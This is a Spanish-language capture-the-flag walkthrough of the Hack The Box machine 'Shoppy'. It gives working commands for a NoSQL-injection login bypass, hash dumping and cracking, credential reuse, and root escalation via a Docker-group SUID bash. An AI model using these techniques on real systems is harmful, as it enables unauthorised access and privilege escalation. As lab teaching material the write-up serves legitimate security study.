Descripción

Shoppy es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Evasión de autenticación de aplicación web mediante inyección NoSQL
  • Enumeración de usuarios mediante inyección NoSQL para obtener la contraseña cifrada de un usuario
  • Enumeración de servicios para encontrar una instancia de Mattermost y obtener las credenciales para iniciar sesión en la máquina
  • Pivote de usuarios mediante ingeniería inversa de una aplicación de gestor de contraseñas
  • Escalada de privilegios al crear un contenedor Docker con permisos de root para crear binarios maliciosos

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.180.

$ ping -c 3 10.10.11.180
PING 10.10.11.180 (10.10.11.180) 56(84) bytes of data.
64 bytes from 10.10.11.180: icmp_seq=1 ttl=63 time=47.6 ms
64 bytes from 10.10.11.180: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.180: icmp_seq=3 ttl=63 time=43.1 ms

--- 10.10.11.180 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 43.059/44.702/47.598/2.053 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.180 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.180
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Entonces realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.180 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.180
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.80 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio shoppy.htb al archivo /etc/hosts.

$ echo '10.10.11.180 shoppy.htb' | sudo tee -a /etc/hosts

El sitio web muestra un conteo regresivo de la Shoppy beta como una página estática. Hacemos una enumeración de subdirectorios.

$ gobuster dir -u 'http://shoppy.htb' -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shoppy.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 179] [--> /images/]
/login                (Status: 200) [Size: 1074]
/admin                (Status: 302) [Size: 28] [--> /login]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/css                  (Status: 301) [Size: 173] [--> /css/]
/js                   (Status: 301) [Size: 171] [--> /js/]
/fonts                (Status: 301) [Size: 177] [--> /fonts/]
...

Descubrimos dos puntos de acceso interesantes /login y /admin, que redirige. En la página de inicio de sesión encontramos que necesitamos ingresar las credenciales del administrador para acceder al panel de administración. Para iniciar sesión se envía una solicitud HTTP POST al punto de acceso /login con los siguientes datos: username=admin&password=admin. Las credenciales por defecto no funcionan, por lo que nos movemos a buscar vulnerabilidades en el formulario.

Explotación

Después de comprobar muchas técnicas de inyección SQL, no funcionan, por lo que nos movemos a la inyección NoSQL. Encontramos que la carga útil admin' || 'a'=='a para el campo username funciona para obtener una sesión de administrador.

$ curl --data "username=admin' || 'a'=='a&password=admin" 'http://shoppy.htb/login' -v
...
< Set-Cookie: connect.sid=s%3A7Z5iT8W3uNliS8D0mlccyFd2RjktbC3k.EZ8K%2BcuDrWGPxG9trsaEyTzMHb3ha2DC%2FdNqSMeq1wQ; Path=/; HttpOnly
< 
* Connection #0 to host shoppy.htb left intact
Found. Redirecting to /admin

Nos redirige al panel de administración en el que podemos buscar usuarios. Después de una búsqueda podemos descargar un archivo .json con información sobre los usuarios buscados.

$ curl -s 'http://shoppy.htb/exports/export-search.json' | jq
[
  {
    "_id": "62db0e93d6d6a999a66ee67a",
    "username": "admin",
    "password": "23c6877d9e2b564ef8b32c3a23de27b2"
  }
]

Para el usuario admin encontramos el ID _id, el username y la contraseña encriptada password. No es posible recuperar la contraseña, por lo tanto nos movemos a utilizar la inyección NoSQL anterior para recuperar a todos los usuarios.

$ curl -s 'http://shoppy.htb/exports/export-search.json' | jq
[
...
  {
    "_id": "62db0e93d6d6a999a66ee67b",
    "username": "josh",
    "password": "6ebcea65320589ca4f2f1ce039975995"
  }
]

Ahora recuperamos la contraseña cifrada para el usuario josh. Asumimos que es un MD5 y la rompemos con la herramienta John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (josh)     
1g 0:00:00:00 DONE 1.666g/s 23905Kp/s 23905Kc/s 25259KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña del usuario joshremembermethisway. No podemos iniciar sesión en la máquina utilizando estas credenciales. No encontramos ningún servicio para probar las credenciales. Enumeramos todos los puertos abiertos en la máquina con la herramienta nmap.

$ sudo nmap 10.10.11.180 -sS -p- -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for shoppy.htb (10.10.11.180)
Host is up (0.048s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat

Encontramos que el puerto 9093 está abierto. Es un servicio HTTP y podemos enumerarlo. Encontramos estadísticas sobre una aplicación Go en ejecución.

$ curl 'http://shoppy.htb:9093'
...
# HELP playbooks_plugin_playbooks_playbook_archived_count Number of playbooks archived since the last launch.
# TYPE playbooks_plugin_playbooks_playbook_archived_count counter
playbooks_plugin_playbooks_playbook_archived_count 0
# HELP playbooks_plugin_playbooks_playbook_created_count Number of playbooks created since the last launch.
# TYPE playbooks_plugin_playbooks_playbook_created_count counter
playbooks_plugin_playbooks_playbook_created_count 0
# HELP playbooks_plugin_playbooks_playbook_restored_count Number of playbooks restored since the last launch.
# TYPE playbooks_plugin_playbooks_playbook_restored_count counter
...

Al buscar cadenas en la respuesta encontramos una inusual playbooks_plugin_playbooks. Buscando en la web, encontramos que esto está relacionado con mattermost-plugin-playbooks, un plugin para Mattermost. Mattermost es una plataforma de colaboración de código abierto, autohosted que ofrece chat, automatización de trabajo, llamadas por voz, compartir pantalla y integración con inteligencia artificial. Vamos a comprobar la existencia del subdominio mattermost.

$ echo '10.10.11.180 mattermost.shoppy.htb' | sudo tee -a /etc/hosts

El subdominio existe y nos redirige a la página de inicio de sesión de la aplicación Mattermost. Las credenciales de josh funcionan y podemos iniciar sesión en la página principal de la aplicación. En el canal Development encontramos que josh codificó un gestor de contraseñas en C++ y se desplegó en la máquina. En el canal Deploy Machine encontramos las credenciales del usuario jaeger, con contraseña Sh0ppyBest@pp!. Podemos usar las credenciales para iniciar sesión en la máquina utilizando el servicio SSH.

$ ssh jaeger@shoppy.htb
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)

Post-Explotación

Encontramos que jaeger puede ejecutar un comando como el usuario deploy/home/deploy/password-manager.

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

Podemos listar el contenido de la carpeta HOME del usuario deploy.

jaeger@shoppy:~$ ls -la /home/deploy/
total 52
drwxr-xr-x 3 deploy deploy  4096 Jul 23  2022 .
drwxr-xr-x 4 root   root    4096 Jul 22  2022 ..
lrwxrwxrwx 1 deploy deploy     9 Jul 22  2022 .bash_history -> /dev/null
-rw-r--r-- 1 deploy deploy   220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 deploy deploy  3526 Mar 27  2022 .bashrc
-rw------- 1 deploy deploy    56 Jul 22  2022 creds.txt
lrwxrwxrwx 1 deploy deploy     9 Jul 23  2022 .dbshell -> /dev/null
drwx------ 3 deploy deploy  4096 Jul 23  2022 .gnupg
-rwxr--r-- 1 deploy deploy 18440 Jul 22  2022 password-manager
-rw------- 1 deploy deploy   739 Feb  1  2022 password-manager.cpp
-rw-r--r-- 1 deploy deploy   807 Mar 27  2022 .profile

Ejecutamos la aplicación del gestor de contraseñas como usuario deploy, pero la contraseña anterior no funciona.

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !

Recuperamos el archivo binario para analizarlo y decompilarlo.

$ scp jaeger@shoppy.htb:/home/deploy/password-manager .

Encontramos en el código fuente descompilado mediante la herramienta Ghidra, que la contraseña maestra es Sample.

$ cat main.c
...
poVar2 = std::operator<<((ostream *)std::cout,"Welcome to Josh password manager!");
  std::ostream::operator<<(poVar2,std::endl<char,std::char_traits<char>>);
  std::operator<<((ostream *)std::cout,"Please enter your master password: ");
  std::string::operator+=(local_68,"S");
  std::string::operator+=(local_68,"a");
  std::string::operator+=(local_68,"m");
  std::string::operator+=(local_68,"p");
  std::string::operator+=(local_68,"l");
  std::string::operator+=(local_68,"e");
  iVar1 = std::string::compare(local_48);
  if (iVar1 != 0) {
    poVar2 = std::operator<<((ostream *)std::cout,"Access denied! This incident will be reported !")
    ;
    std::ostream::operator<<(poVar2,std::endl<char,std::char_traits<char>>);
  }
  else {
    poVar2 = std::operator<<((ostream *)std::cout,"Access granted! Here is creds !");
    std::ostream::operator<<(poVar2,std::endl<char,std::char_traits<char>>);
    system("cat /home/deploy/creds.txt");
  }
...

Usamos la contraseña para recuperar la contraseña del usuario deployDeploying@pp!.

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
jaeger@shoppy:~$ su root
Password: 
su: Authentication failure
jaeger@shoppy:~$ su deploy
Password: 
$ bash -i
deploy@shoppy:/home/jaeger$ cd
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

Encontramos que deploy es parte del grupo docker, lo que significa que es capaz de crear nuevos contenedores Docker a partir de imágenes, como la alpine que ya está disponible.

deploy@shoppy:~$ docker ps -a
CONTAINER ID   IMAGE     COMMAND   STATUS    PORTS     NAMES
deploy@shoppy:~$ docker images
REPOSITORY   TAG       IMAGE ID       SIZE
alpine       latest    d7d3d98c851f   5.53MB

Vamos a utilizar esta situación para crear un nuevo contenedor, el cual tendrá permisos de root dentro del contenedor, para luego mapear una carpeta del host a una carpeta del contenedor para luego crear un binario Bash con SUID para escalar nuestros permisos y crear una nueva root terminal.

deploy@shoppy:~$ docker run --rm -it -v /tmp:/tmp_host -v /bin:/bin_host alpine sh
/ # cp /bin_host/bash /tmp_host/suid-bash
/ # chmod u+s /tmp_host/suid-bash
/ # exit
deploy@shoppy:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1001(deploy) gid=1001(deploy) euid=0(root) groups=1001(deploy),998(docker)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

suid-bash-5.1# cat /home/jaeger/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>